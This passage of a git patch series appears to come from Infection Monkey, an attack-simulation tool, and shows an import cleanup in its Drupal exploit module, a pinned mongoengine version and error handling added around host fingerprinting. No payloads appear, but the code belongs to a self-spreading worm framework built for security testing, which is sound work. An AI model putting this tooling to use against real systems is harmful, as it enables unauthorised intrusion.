 from infection_monkey.config import GUID, WormConfiguration
 from infection_monkey.network.info import check_internet_access, local_ips
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
index 69b3c218c..5872f4703 100644
--- a/monkey/infection_monkey/exploit/drupal.py
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -9,7 +9,8 @@ from urllib.parse import urljoin
 
 import requests
 
-from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT, LONG_REQUEST_TIMEOUT
+from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT,
+                                           MEDIUM_REQUEST_TIMEOUT)
 from common.network.network_utils import remove_port
 from infection_monkey.exploit.web_rce import WebRCE
 from infection_monkey.model import ID_STRING

From 0848ba240f8c6d5811a4a70cc6609f951906f1d1 Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Sat, 28 Nov 2020 22:44:15 +0530
Subject: [PATCH 29/30] Fix mongoengine version to 0.20.0

---
 monkey/monkey_island/requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index 7e7272a87..cef10fcb7 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -10,7 +10,7 @@ dpath>=2.0
 flask>=1.1
 ipaddress>=1.0.23
 jsonschema==3.2.0
-mongoengine>=0.20
+mongoengine==0.20
 mongomock==3.19.0
 netifaces>=0.10.9
 pycryptodome==3.9.8

From 030b1c683e7c9d52c955903754af025794970670 Mon Sep 17 00:00:00 2001
From: Ace Pace <acepace@gmail.com>
Date: Mon, 7 Dec 2020 16:54:58 +0200
Subject: [PATCH 30/30] Monkey: Guard against exceptions while fingerprinting

---
 monkey/infection_monkey/monkey.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index a15a06edf..3a19e40ac 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -170,7 +170,11 @@ class InfectionMonkey(object):
                     for finger in self._fingerprint:
                         LOG.info("Trying to get OS fingerprint from %r with module %s",
                                  machine, finger.__class__.__name__)
-                        finger.get_host_fingerprint(machine)
+                        try:
+                            finger.get_host_fingerprint(machine)
+                        except BaseException as exc:
+                            LOG.error("Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__,
+                                      str(exc))
 
                     ScanTelem(machine).send()